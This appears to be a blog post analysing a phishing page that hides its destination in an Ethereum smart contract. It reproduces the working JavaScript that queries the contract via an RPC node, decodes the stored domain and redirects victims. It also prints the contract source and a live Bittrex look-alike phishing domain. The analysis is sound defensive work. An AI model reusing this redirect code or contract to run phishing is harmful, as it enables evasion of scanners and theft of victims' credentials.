Hey everyone,
I recently came across a phishing email, and while the usual advice is to just delete them and move on, something about the link caught my eye. Instead of a standard malicious URL, it led to a page with a small bit of code. I decided to dig in, and I fell down a fascinating technical rabbit hole.
What I found was not a simple redirect, but an incredibly complex and clever method for hiding a phishing site's final destination by using the Ethereum blockchain itself.
How It Works: A Step-by-Step Breakdown
The attack is a multi-stage process that's as clever as it is malicious.
Step 1: The JavaScript Snippet
The initial link leads to a page with a small piece of JavaScript. This script contains no obvious malicious URLs, which allows it to evade some basic security scanners.
<script>fetch("https://1rpc.io/eth",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({id:0,jsonrpc:"2.0",method:"eth_call",params:[{to:"0x417c55d47b0a69734fa2f58923dd5cc9b63fc524",data:"0x8a054ac2"},"latest"]})}).then(t=>{t.json().then(t=>{let e="",a=t.result.slice(130);for(;a.length>0;){let o=String.fromCharCode(parseInt(a.substring(0,2),16));if("\0"==o)break;e+=o,a=a.slice(2)}window.location=`https://${e}`})});</script>
Step 2: The Call to the Blockchain
Instead of containing a link, the script's only job is to make a POST
request to an Ethereum RPC node. It performs a read-only eth_call
, which is a way of asking a smart contract for information without performing a transaction. It targets a specific smart contract address and calls a function named d()
, 0x8a054ac2
is the first 4 bytes of the Keccak-256 hash of d()
.
fetch("https://1rpc.io/eth", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
id: 0,
jsonrpc: "2.0",
method: "eth_call",
params: [
{ to: "0x417c55d47b0a69734fa2f58923dd5cc9b63fc524", data: "0x8a054ac2" },
"latest",
],
}),
});
Step 3: The Smart Contract as a "Database"
This is the brilliant part. The attackers are using a smart contract on the Ethereum blockchain as a decentralized, censorship-resistant configuration file. The contract's sole purpose is to store a single piece of information: the current, active URL d
for their phishing site. There is a function to update s
the address but only if the address matches the one that made the contract o
.
pragma solidity ^0.8.30;
contract pink{address immutable o;string public d;constructor(address m){o = m;}function s(string calldata n)external{assert(o==msg.sender);d = n;}}
Step 4: Decoding the Secret Message
The blockchain doesn't just send back a plain web address. It returns a long, ABI-encoded hexadecimal string. The JavaScript then has to perform a specific slice-and-dice operation on this string—stripping away the data offsets and length prefixes—and then decode the remaining hex, character by character, to reveal the hidden domain.
0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002a636c69656e742e3334373634312d626974747265782e636f6d2f686f6d652f3f763d31352e37302e363800000000000000000000000000000000000000000000
.then((t) => {
t.json().then((t) => {
let e = "",
a = t.result.slice(130);
for (; a.length > 0; ) {
let o = String.fromCharCode(parseInt(a.substring(0, 2), 16));
if ("\0" == o) break;
((e += o), (a = a.slice(2)));
}
window.location = `https://${e}`;
});
});
Step 5: The Final Redirect
At the time I investigated, the domain that the script decoded was:
client.347641-bittrex.com/home/?v=15.70.68
Once the script has this URL, it performs the final action: redirecting the victim's browser to the actual phishing site.
Why Go to All This Trouble?
This might seem like a ridiculously over-engineered way to redirect a user, but there are a couple of very clever reasons for it:
- Dynamic Control: The attackers can change their phishing site at any time. If their
bittrex.com
look-alike site gets reported and taken down, they don't have to send out a whole new batch of emails. They can simply make a transaction to their smart contract to update thedomain
variable. All the old phishing links in the wild will now automatically start redirecting to their new phishing site. - Evasion: Because the malicious URL isn't present in the initial script, it's much harder for automated systems to flag it as dangerous.
While I obviously don't condone the malicious intent, I have to admit that the technical implementation here is fascinating. It's a devious use of decentralized technology to create a resilient and dynamic attack, and a great reminder of the constant cat-and-mouse game that is cybersecurity.
As always,
Michael Garcia a.k.a. TheCrazyGM